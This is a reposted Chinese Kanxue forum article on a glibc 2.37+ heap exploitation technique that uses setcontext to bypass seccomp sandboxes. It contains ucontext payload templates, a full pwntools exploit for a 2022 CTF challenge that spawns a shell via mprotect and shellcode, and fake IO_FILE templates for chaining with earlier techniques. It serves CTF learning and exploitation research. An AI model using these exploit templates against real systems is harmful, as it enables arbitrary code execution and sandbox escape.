无路远征——GLIBC2.37后时代的IO攻击之道 house_of_一骑当千

admin 2023年3月18日20:06:28评论13 views字数 16847阅读56分9秒阅读模式

无路远征——GLIBC2.37后时代的IO攻击之道 house_of_一骑当千

本文为看雪论坛精华文章

看雪论坛作者ID:我超啊

沙盒是现在pwn题中绕不过的砍,前面提出的house_of_魑魅魍魉 和 house_of_琴瑟琵琶都没有提供绕过沙盒的方法,尤其是house_of_琴瑟琵琶只能控制一个参数,目前看来基本上无法绕过沙盒。而house_of_一骑当千是一种只用setcontext就定能绕过沙盒攻击手法。

setcontext+53之殇

setcontext+53是打pwn中常用的技术,主要是依靠程序中如下代码段来实现寄存器赋值。在2.31后变成了setcontext+61,主要控制的寄存器也从rdi变成了rdx。setcontext+53是执行orw的重要攻击手段,由于属于常见方式就不再赘述。

无路远征——GLIBC2.37后时代的IO攻击之道 house_of_一骑当千

setcontext+53作为常用的攻击手段,在版本迭代中主要参数已经从rdi修复成rdx,rdx是一个函数的第3个参数。但是,在实际攻击过程中,只能控制一个参数,所以rdx不可控。目前,很多利用的方法,例如house_of_KIWI house_of_cat等中rdx都是编译级别的利用方式,可以很容易被修复,或者编译器发生变化也可能不再能使用。 house_of_KIWI出现很大一部分是解决了rdx的问题。house_of_emma也必须借助 house_of_KIWI才能绕过seccomp。

以2.37以后还能使用的house_of_cat为例,对比源码和汇编可以发现,rdx之所以可控是因为,编译器在处理比较时使用了rdx。

int_IO_switch_to_wget_mode (FILE *fp){    // 编译器在处理这一段时使用 rdx  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)      return EOF;  ......}
► 0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64  0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]  0x7f4cae745d3b <_IO_switch_to_wget_mode+11>    push   rbx  0x7f4cae745d3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi  0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]  0x7f4cae745d43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]  0x7f4cae745d47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>   0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]  0x7f4cae745d50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff  0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

因为setcontext是汇编所写(下面会详写),显然rdi修复成rdx也是GNU有意而为,今后也可能被修改成rcx甚至r15,靠编译级别的攻击手段显然不能长久。如何能够完美绕过沙盒呢?

ucontext函数族分析

1.函数族

研究setcontext之前,我们要知道一个函数族,就是ucontext 函数族,它包括以下函数。

int getcontext(ucontext_t *ucp);int setcontext(const ucontext_t *ucp)void makecontext(ucontext_t *ucp, void (*func)(), int argc, ...);int swapcontext(ucontext_t *restrict oucp,const ucontext_t *restrict ucp);
  1. getcontext用来获取用户上下文,
  2. setcontext用来设置用户上下文
  3. makecontext操作用户上下文,可以设置执行函数,本质调用`setcontext``
  4. swapcontext进行两个上下文的交换
显然,虽然说用户上下文这么高深的词语,其实就是一块内存中存储了一些必要的数据。

2.setcontext

以我们关注的setcontext为例 ,它是由汇编所写,在 /sysdeps/unix/sysv/linux/x86_64/setcontext.S中。剥离复杂的宏之后发现,除了信号量系统调(__NR_rt_sigprocmask)用外,无非就是一些赋值操作。(代码虽然很长,但为了展现全貌我就不做删减了,大家关注中文注释的地方)
ENTRY(__setcontext)    /* Save argument since syscall will destroy it.  */    pushq    %rdi    cfi_adjust_cfa_offset(8)     /* Set the signal mask with       rt_sigprocmask (SIG_SETMASK, mask, NULL, _NSIG/8).  */    leaq    oSIGMASK(%rdi), %rsi    xorl    %edx, %edx    movl    $SIG_SETMASK, %edi    movl    $_NSIG8,%r10d    movl    $__NR_rt_sigprocmask, %eax    syscall    /* Pop the pointer into RDX. The choice is arbitrary, but       leaving RDI and RSI available for use later can avoid       shuffling values.  */    popq    %rdx   # 这是就是 rdi 向 rdx转换的关键。    cfi_adjust_cfa_offset(-8)    cmpq    $-4095, %rax        /* Check %rax for error.  */    jae    SYSCALL_ERROR_LABEL    /* Jump to error handler if error.  */     /* Restore the floating-point context.  Not the registers, only the       rest.  */    movq    oFPREGS(%rdx), %rcx    fldenv    (%rcx)    ldmxcsr oMXCSR(%rdx)      /* Load the new stack pointer, the preserved registers and       registers used for passing args.  */    cfi_def_cfa(%rdx, 0)    cfi_offset(%rbx,oRBX)    cfi_offset(%rbp,oRBP)    cfi_offset(%r12,oR12)    cfi_offset(%r13,oR13)    cfi_offset(%r14,oR14)    cfi_offset(%r15,oR15)    cfi_offset(%rsp,oRSP)    cfi_offset(%rip,oRIP)    /* 这里往下就是 setcontext+61 的地方*/    movq    oRSP(%rdx), %rsp    movq    oRBX(%rdx), %rbx    movq    oRBP(%rdx), %rbp    movq    oR12(%rdx), %r12    movq    oR13(%rdx), %r13    movq    oR14(%rdx), %r14    movq    oR15(%rdx), %r15 #if SHSTK_ENABLED    /* Check if shadow stack is enabled.  */    testl    $X86_FEATURE_1_SHSTK, %fs:FEATURE_1_OFFSET    jz    L(no_shstk)     /* If the base of the target shadow stack is the same as the       base of the current shadow stack, we unwind the shadow       stack.  Otherwise it is a stack switch and we look for a       restore token.  */    movq    oSSP(%rdx), %rsi    movq    %rsi, %rdi     /* Get the base of the target shadow stack.  */    movq    (oSSP + 8)(%rdx), %rcx    cmpq    %fs:SSP_BASE_OFFSET, %rcx    je    L(unwind_shadow_stack) L(find_restore_token_loop):    /* Look for a restore token.  */    movq    -8(%rsi), %rax    andq    $-8, %rax    cmpq    %rsi, %rax    je    L(restore_shadow_stack)     /* Try the next slot.  */    subq    $8, %rsi    jmp    L(find_restore_token_loop) L(restore_shadow_stack):    /* Pop return address from the shadow stack since setcontext       will not return.  */    movq    $1, %rax    incsspq    %rax     /* Use the restore stoken to restore the target shadow stack.  */    rstorssp -8(%rsi)     /* Save the restore token on the old shadow stack.  NB: This       restore token may be checked by setcontext or swapcontext       later.  */    saveprevssp     /* Record the new shadow stack base that was switched to.  */    movq    (oSSP + 8)(%rdx), %rax    movq    %rax, %fs:SSP_BASE_OFFSET L(unwind_shadow_stack):    rdsspq    %rcx    subq    %rdi, %rcx    je    L(skip_unwind_shadow_stack)    negq    %rcx    shrq    $3, %rcx    movl    $255, %esiL(loop):    cmpq    %rsi, %rcx    cmovb    %rcx, %rsi    incsspq    %rsi    subq    %rsi, %rcx    ja    L(loop) L(skip_unwind_shadow_stack):    movq    oRSI(%rdx), %rsi    movq    oRDI(%rdx), %rdi    movq    oRCX(%rdx), %rcx    movq    oR8(%rdx), %r8    movq    oR9(%rdx), %r9     /* Get the return address set with getcontext.  */    movq    oRIP(%rdx), %r10     /* Setup finally %rdx.  */    movq    oRDX(%rdx), %rdx     /* Check if return address is valid for the case when setcontext       is invoked from __start_context with linked context.  */    rdsspq    %rax    cmpq    (%rax), %r10    /* Clear RAX to indicate success.  NB: Don't use xorl to keep       EFLAGS for jne.  */    movl    $0, %eax    jne    L(jmp)    /* Return to the new context if return address valid.  */    pushq    %r10    ret L(jmp):    /* Jump to the new context directly.  */    jmp    *%r10 L(no_shstk):#endif    /* The following ret should return to the address set with    getcontext.  Therefore push the address on the stack.  */    movq    oRIP(%rdx), %rcx    pushq    %rcx     movq    oRSI(%rdx), %rsi    movq    oRDI(%rdx), %rdi    movq    oRCX(%rdx), %rcx    movq    oR8(%rdx), %r8    movq    oR9(%rdx), %r9     /* Setup finally %rdx.  */    movq    oRDX(%rdx), %rdx     /* End FDE here, we fall into another context.  */    cfi_endproc    cfi_startproc     /* Clear rax to indicate success.  */    xorl    %eax, %eax    retPSEUDO_END(__setcontext) weak_alias (__setcontext, setcontext)

ucontext结构体
从ucontext函数族中可以看到存在ucontext类型的结构体,也就是传入setcontext的rdi。这个结构体如下。
typedef struct ucontext_t  {    unsigned long int __ctx(uc_flags); // 1个字长    struct ucontext_t *uc_link;//1个字长    stack_t uc_stack; //3个字长    mcontext_t uc_mcontext; //操作部分1    sigset_t uc_sigmask; //操作部分2    struct _libc_fpstate __fpregs_mem; //操作部分3     __extension__ unsigned long long int __ssp[4];//操作部分4  } ucontext_t;
在setcontext函数中,除了对mcontext_t uc_mcontext; sigset_t uc_sigmask; struct _libc_fpstate __fpregs_mem __ssp这4个进行操作外,并没有对其他部分操作,也就是我们可以不关心其他的值。

1.uc_sigmask

这个主要是负责信号量,经测试全是0就可以,当然也可以使用其他程序拷贝过来的信号量。

2.uc_mcontext

这个就是存储寄存器的结构体,也是我们平时setcontext+53所使用的地方。结构体如下。
typedef struct  {    gregset_t __ctx(gregs);    /* Note that fpregs is a pointer.  */    fpregset_t __ctx(fpregs);    __extension__ unsigned long long __reserved1 [8];} mcontext_t;
typedef greg_t gregset_t[__NGREG]; #ifdef __USE_GNU/* Number of each register in the `gregset_t' array.  */enum{  REG_R8 = 0,# define REG_R8        REG_R8  REG_R9,# define REG_R9        REG_R9  REG_R10,# define REG_R10    REG_R10  REG_R11,# define REG_R11    REG_R11  REG_R12,# define REG_R12    REG_R12  REG_R13,# define REG_R13    REG_R13  REG_R14,# define REG_R14    REG_R14  REG_R15,# define REG_R15    REG_R15  REG_RDI,# define REG_RDI    REG_RDI  REG_RSI,# define REG_RSI    REG_RSI  REG_RBP,# define REG_RBP    REG_RBP  REG_RBX,# define REG_RBX    REG_RBX  REG_RDX,# define REG_RDX    REG_RDX  REG_RAX,# define REG_RAX    REG_RAX  REG_RCX,# define REG_RCX    REG_RCX  REG_RSP,# define REG_RSP    REG_RSP  REG_RIP,# define REG_RIP    REG_RIP  REG_EFL,# define REG_EFL    REG_EFL  REG_CSGSFS,        /* Actually short cs, gs, fs, __pad0.  */# define REG_CSGSFS    REG_CSGSFS  REG_ERR,# define REG_ERR    REG_ERR  REG_TRAPNO,# define REG_TRAPNO    REG_TRAPNO  REG_OLDMASK,# define REG_OLDMASK    REG_OLDMASK  REG_CR2# define REG_CR2    REG_CR2};#endif
有关数据设置和传统利用setcontext+53时一样即可。

3.__fpregs_mem

这个所对应的步骤为setcontext中的如下内容,作用使加载浮点环境,需要可写。偏移为0xe0。
/* Restore the floating-point context.  Not the registers, only the       rest.  */    movq    oFPREGS(%rdx), %rcx    fldenv    (%rcx)

4.__ssp

这个所对应的步骤为setcontext中的如下内容,作用使加载 MXCSR 寄存器,经测试0也行,偏移为0x1c0。
ldmxcsr oMXCSR(%rdx)

一骑当千
喜闻乐见的抄板子时间又到了。根据上面setcontext分析可以看出,我们只需要绕过关键的几个地方就能够实现和setcontext+53一样的攻击效果。假设,没有禁用mprotect,只有一次的largebin_attack的情况来攻击IO,模板如下。
ucontext =b''ucontext += p64(0)*5mprotect_len = 0x20000__rdi = heap_addr # heap_addr binsh_addr__rsi = mprotect_len     __rbp = heap_addr + mprotect_len__rbx = 0__rdx = 7__rcx = 0__rax = 0 # 当下面 padding 为空时,fake_io_addr 就是 ucontext 开始的地址padding = fake_io_filepayload_start_addr = fake_io_addr# 0x2e8 下面的  print("IO_FILE len is",hex(len(payload)))# largbin_attak 时需要 + 0x10__rsp = payload_start_addr + 0x2e8 + 0x10__rip = mprotect_addrucontext += p64(0)*8ucontext += p64(__rdi)ucontext += p64(__rsi)ucontext += p64(__rbp)ucontext += p64(__rbx)ucontext += p64(__rdx)ucontext += p64(__rcx)ucontext += p64(__rax)ucontext += p64(__rsp)ucontext += p64(__rip)ucontext = ucontext.ljust(0xe0,b'x00')ucontext += p64(heap_addr+0x6000)   # fldenv [rcx]  加载浮点环境,需要可写print("ucontext len is:",hex(len(ucontext)))  # 0xe8 '''ucontext = ucontext.ljust(0x128,b'x00') # 加载信号量 ,好像全是0也行 ,0x10个字长ucontext += p64(0)*0x10# ucontext += p64(0)+p64(0x0000002000000000)+p64(0)+p64(0)+p64(0x0000034000000340)+p64(0x0000000000000001)+p64(0x0000000103ae75f6)+p64(0)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0) ucontext =ucontext.ljust(0x1c0,b'x00') # ucontext += p64(0x1f80)    # LDMXCSR [rdx+0x1c0] 加载 MXCSR 寄存器,好像是0也行''' # payload 可以开始于 fake_io_file ,也可以直接从 ucontext 开始payload = padding + ucontext # 0x2e8 与 __rsp相呼应print("IO_FILE len is",hex(len(payload))) # 自己写 shellcodeshellcode = """ """ # largbin_attak 时需要 + 0x10payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10)   payload += bytes(asm(shellcode))

举个栗子
我们以2022强网拟态决赛_vpn为例(题目内部附件叫:pminote_mc)。题目虽然使用了llvm进行了各种混淆手段,但仍不能摆脱屌丝菜单题的宿命,经过手动测试可以发现简单回复一下结构体和有关操作。结构体如下。
struct heap_manager{    void * do_func;    heap_content * content;   }struct heap_content{    char content[size];}
题目存在UAF,并且只能malloc5次。题目的唯一难度是是在显示程序上,他使用如下操作:
print_note(heap_manager * heap_manager_1);
也就是说即使能够简单执行system(heap),由于heap的开始时函数地址,也是无法简单执行system("/bin/sh")。
无路远征——GLIBC2.37后时代的IO攻击之道 house_of_一骑当千
那么此时我们的攻击思路是:

① 调用gets(heap),在heap处写入ucontext,同时在heap开头的函数处写入setcontext函数地址。

② 调用setcontext(heap)就可以直接执行想执行的内容。

需要说明的是由于题目没有seccomp,所以我的方法肯定是非预期解,然并卵我没有找到相关预期解是啥。exp如下:
from pwn import *import pwn_scriptfrom sys import argvimport argparse s = lambda data: io.send(data)sa = lambda delim, data: io.sendafter(delim, data)sl = lambda data: io.sendline(data)sla = lambda delim, data: io.sendlineafter(delim, data)r = lambda num=4096: io.recv(num)ru = lambda delims, drop=True: io.recvuntil(delims, drop)itr = lambda: io.interactive()uu32 = lambda data: u32(data.ljust(4, ''))uu64 = lambda data: u64(data.ljust(8, ''))leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr)) menu_last_str = 'Your choice :'add_heap_str = '1'delete_heap_str = '2'show_heap_str = '3' def add_heap(size,content):    ru(menu_last_str)    sl(add_heap_str)    ru('Note size :')    s(str(size))    ru('Content :')    s(content)  def show_heap(index):    ru(menu_last_str)    sl(show_heap_str)    ru('Index :')    sl(str(index))  def delete_heap(index):    ru(menu_last_str)    sl(delete_heap_str)    ru('Index :')    sl(str(index))  def exit_pro():    ru(menu_last_str)    sl('5')  if __name__ == '__main__':    pwn_arch = 'amd64'    pwn_script.init_pwn_linux(pwn_arch)    pwnfile = './pmlnote_mc'    ip_port = '111.200.241.244:61080'    __ip = ip_port.split(":")[0]    __port = ip_port.split(":")[1]    io = process(pwnfile)    # io = remote(__ip, __port)    elf = ELF(pwnfile)    rop = ROP(pwnfile)    context.binary = pwnfile    libcfile='/lib/x86_64-linux-gnu/libc.so.6'    libc = ELF(libcfile)     '''    struct heap_manager{        void * do_func;        heap_content * content;       }    struct heap_content{        char content[size];    }    '''      system_addr = 0x4006D0    print_note_content = 0x400870    print_note = 0x407700    puts_addr =0x4006C0    heap_list = 0x6116c0    system_got = 0x611030    stdout = 0x611680    printf_sym =elf.sym["printf"]    init = 0x409AC0    add_heap(0x500,b"a"*0x10+b"/bin/shx00")    add_heap(0x500,"b"*0x10)    delete_heap(0)    delete_heap(1)    add_heap(0x10,p64(print_note_content)+p64(stdout))    show_heap(0)     stdout_addr = u64(ru("n").ljust(8,b"x00"))    libc_base_addr = stdout_addr - 0x21a780    print("libc_base_addr is :",hex(libc_base_addr))    setcontext_addr = libc_base_addr + libc.sym["setcontext"]    environ_addr = libc_base_addr +libc.sym["environ"]    gets_addr = libc_base_addr +libc.sym["gets"]    free_hook_addr = libc_base_addr +libc.sym["__free_hook"]    unsortbin_addr = libc_base_addr + 0x219ce0    mprotect_addr = libc_base_addr +libc.sym["mprotect"]     delete_heap(2)    add_heap(0x10,p64(print_note_content)+p64(heap_list))    show_heap(0)    heap_addr = u64(ru("n").ljust(8,b"x00")) - 0x2a0    print("heap_addr is :",hex(heap_addr))     delete_heap(3)      add_heap(0x10,p64(gets_addr)+p64(heap_addr-0x200))    show_heap(0)    ucontext =b''    ucontext += p64(setcontext_addr)+p64(0)*4    mprotect_len = 0x20000    __rdi = heap_addr # heap_addr binsh_addr    __rsi = mprotect_len         __rbp = heap_addr + mprotect_len    __rbx = 0    __rdx = 7    __rcx = 0    __rax = 0     fake_io_addr = heap_addr + 0x2a0    # 0x2e8 下面的  print("IO_FILE len is",hex(len(payload)))    # largbin_attak 时需要 + 0x10    __rsp = fake_io_addr + 0xe8    __rip = mprotect_addr    ucontext += p64(0)*8    ucontext += p64(__rdi)    ucontext += p64(__rsi)    ucontext += p64(__rbp)    ucontext += p64(__rbx)    ucontext += p64(__rdx)    ucontext += p64(__rcx)    ucontext += p64(__rax)    ucontext += p64(__rsp)    ucontext += p64(__rip)    ucontext = ucontext.ljust(0xe0,b'x00')    ucontext += p64(heap_addr+0x6000)   # fldenv [rcx]  加载浮点环境,需要可写    print("ucontext len is:",hex(len(ucontext)))  # 0xe8     payload = ucontext      print("IO_FILE len is",hex(len(payload)))  # 0x2e8 与 __rsp相呼应    shellcode = asm(shellcraft.sh())    payload += p64(fake_io_addr + len(payload) + 0x8)  # largbin_attak 时需要 + 0x10     payload += bytes(shellcode)    pause()    sl(payload)    show_heap(0)    itr()

连环战船
这一种方法只是为上面的例子一个延伸,当能够多次执行函数,而第一个参数又固定,可以使用getcontext + gets + gets + setcontext的通用解决方案,结合EOP使用。

攻击方法完全体
就像我开头提到的,在目前情况下house_of_魑魅魍魉 和 house_of_琴瑟琵琶是很难有绕过沙盒的方法,但如果和house_of_一骑当千结合使用,沙盒绕过将是易如反掌。

1.houseof琴瑟琵琶 完全体

fake_io_addr = heap_addr + 0x1390obstack_ptr = fake_io_addr + 0x30fake_io_file = b''fake_io_file = fake_io_file.ljust(0x58,b'x00')fake_io_file += p64(setcontext_addr)  # 需要执行的函数fake_io_file += p64(0)fake_io_file += p64(fake_io_addr+0xe8)  # 执行函数的 rdifake_io_file += p64(1)  # obstack->use_extra_arg=1fake_io_file += p64(heap_addr+0x2000)  # _IO_lock_t *_lock;fake_io_file = fake_io_file.ljust(0xc8,b'x00')fake_io_file += p64(IO_obstack_jumps_addr + 0x20)  # 触发 _IO_obstack_xsputn;fake_io_file += p64(obstack_ptr)  # struct obstack *obstackprint(hex(len(fake_io_file))) # 因为是largebin attack 所以: 0xd8=0xe8-0x10# pause() # 执行函数的 rdi 的地址所存储的内容ucontext = b''ucontext += p64(0)*13mprotect_len = 0x20000tcache_thead_size = 0x290__rdi = heap_addr # heap_addr binsh_addr__rsi = mprotect_len     __rbp = heap_addr + mprotect_len__rbx = 0__rdx = 7__rcx = 0__rax = 0# heap_addr + tcache_thead_size + 0x10000  # systm 栈帧务必要足够长# 0x1c8 对应第256行的  print("payload len is",hex(len(payload)))# largbin_attak 时需要 + 0x10__rsp = fake_io_addr + 0x1c0  + 0x10__rip = mprotect_addr #execve_addr #mprotect_addrucontext += p64(__rdi)ucontext += p64(__rsi)ucontext += p64(__rbp)ucontext += p64(__rbx)ucontext += p64(__rdx)ucontext += p64(__rcx)ucontext += p64(__rax)ucontext += p64(__rsp)ucontext += p64(__rip)ucontext = ucontext.ljust(0xe0,b'x00') ucontext += p64(heap_addr+0x6000)   # fldenv [rcx]  加载浮点环境,需要可写 payload = fake_io_file + ucontext  print("payload len is",hex(len(payload)))  # 0x1c0 与__rsp相呼应# pause()shellcode = asm(shellcraft.sh())payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10)  # largbin_attak 时需要 +0x10payload = payload + bytes(shellcode)

2.houseof魑魅魍魉 完全体

# largebin_attack 攻击 house_魑魅魍魉# 模拟只有一次写入,payload 必须在前面写入# 为确保正确执行,需要利用 COMPILE_WPRINTF==1 的模式 fake_io_addr = heap_addr + 0x1390put_stream_offset = 0x30  # put_stream 距离 fake_io 的偏移put_stream_addr = fake_io_addr + put_stream_offsetwrite_target_addr = memcpy_addrtarget_value_offset = 0x200  # 需要执行的函数存储的地址距离 fake_io 的偏移target_value_addr = fake_io_addr  + target_value_offset  IO_wide_data_addr = fake_io_addr + 0xe0 # len(IO_IFLE) 利用原有的宽字符# 再一次执行到 memcpy时rdi的地址rdi_offset = 0xf  # 因为 _IO_write_ptr 会加1,此处确保内存对齐rdi_ucontext_addr = target_value_addr + rdi_offset# more_len > count_len > 0x20 可以再次执行 memcpymore_len = 0x80*8   # 为什么 IO_help_jump_0_ 里面还要在右边移位2位??count_len= 0x28 # 要大于0x20_flags = 0x400 #_flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr;  fake_io_file = b""fake_io_file = fake_io_file.ljust(0x20,b'x00')fake_io_file += p64(_flags) # 此处是 put_stream 起始地址; _flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr;fake_io_file += p64(rdi_ucontext_addr)fake_io_file += p64(0)*2fake_io_file += p64(write_target_addr - 0x20)fake_io_file += p64(write_target_addr)fake_io_file += p64(write_target_addr + count_len)fake_io_file += p64(0)# 用于绕过  if (pos >= (size_t) (_IO_blen (fp) + flush_only)) 不执行mallocfake_io_file += p64((1<<64)-1)fake_io_file += p64(0)*2fake_io_file += p64(heap_addr+0x2000) #可写fake_io_file += p64(0)*2fake_io_file += p64(IO_wide_data_addr)fake_io_file = fake_io_file.ljust(0xc8,b'x00')fake_io_file += p64(IO_help_jump_0_addr)fake_io_file += p64(0)fake_io_file += p64(heap_addr+0x2000) #可写fake_io_file += p64(0)fake_io_file += p64(target_value_addr)fake_io_file += p64(target_value_addr + more_len)fake_io_file += p64(IO_str_jumps_addr)fake_io_file = fake_io_file.ljust(0x1b8,b'x00')fake_io_file += p64(put_stream_addr)fake_io_file = fake_io_file.ljust(target_value_offset - 0x10,b"x00")  # largbin_attak 时需要 - 0x10 # 需要执行的函数是 setcontext,距离 fake_io 的偏移为 target_value_offsetfake_io_file += p64(setcontext_addr) + p64(0)   # 此段长度为 0x10 与 rdi_offset 对应  ucontext =b""ucontext += p64(0)*13mprotect_len = 0x20000tcache_thead_size = 0x290__rdi = heap_addr # heap_addr binsh_addr__rsi = mprotect_len __rbp = heap_addr + mprotect_len__rbx = 0__rdx = 7__rcx = 0__rax = 0# heap_addr + tcache_thead_size + 0x10000  # systm 栈帧务必要足够长# 0x2e8 下面的  print("payload len is",hex(len(payload)))# largbin_attak 时需要 + 0x10__rsp = fake_io_addr + 0x2e8 + 0x10__rip = mprotect_addr #execve_addr #mprotect_addrucontext += p64(__rdi)ucontext += p64(__rsi)ucontext += p64(__rbp)ucontext += p64(__rbx)ucontext += p64(__rdx)ucontext += p64(__rcx)ucontext += p64(__rax)ucontext += p64(__rsp)ucontext += p64(__rip)ucontext = ucontext.ljust(0xe0,b'x00')  ucontext += p64(heap_addr+0x6000)   # fldenv [rcx]  加载浮点环境,需要可写  payload = fake_io_file + ucontext  print("payload len is",hex(len(payload)))  # 0x2e8 与__rsp相呼应shellcode = asm(shellcraft.sh())payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10)  # largbin_attak 时需要 + 0x10 payload += bytes(shellcode)

3.其他

同理,其他IO板子绝大部分都能够与house_of_一骑当千配合使用,一通百通,就不再赘述。

无路远征——GLIBC2.37后时代的IO攻击之道 house_of_一骑当千

看雪ID:我超啊

https://bbs.kanxue.com/user-home-894406.htm

*本文由看雪论坛 我超啊 原创,转载请注明来自看雪社区
无路远征——GLIBC2.37后时代的IO攻击之道 house_of_一骑当千

原文始发于微信公众号(看雪学苑):无路远征——GLIBC2.37后时代的IO攻击之道 house_of_一骑当千

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月18日20:06:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   无路远征——GLIBC2.37后时代的IO攻击之道 house_of_一骑当千https://cn-sec.com/archives/1612611.html

发表评论

匿名网友 填写信息